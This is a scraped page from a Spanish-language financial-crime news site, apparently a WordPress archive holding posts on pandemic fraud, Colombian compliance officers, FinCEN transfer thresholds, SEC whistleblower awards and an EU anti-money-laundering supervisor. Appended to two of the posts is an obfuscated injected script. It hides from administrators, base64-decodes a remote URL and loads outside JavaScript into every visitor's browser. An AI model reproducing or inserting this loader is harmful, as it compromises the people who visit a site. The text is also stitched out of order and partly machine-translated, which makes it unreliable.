dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas 